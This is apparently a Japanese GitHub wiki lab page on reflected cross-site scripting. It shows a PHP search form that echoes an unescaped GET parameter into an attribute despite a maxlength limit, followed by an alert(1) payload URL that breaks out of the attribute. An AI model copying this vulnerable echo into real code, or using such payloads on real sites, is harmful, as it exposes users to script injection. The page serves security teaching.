クロスサイトスクリプティング 03 - yujitounai/helloworld GitHub Wiki
maxlength="10"の反射型XSS
<form method="get" action="">login<br>
search<input name="search" type="text" maxlength="10" value="<?php echo filter_input(INPUT_GET, 'search'); ?>"><br>
<input type="submit" value="search">
</form>
xss-03.php?search="><script>alert(1)</script>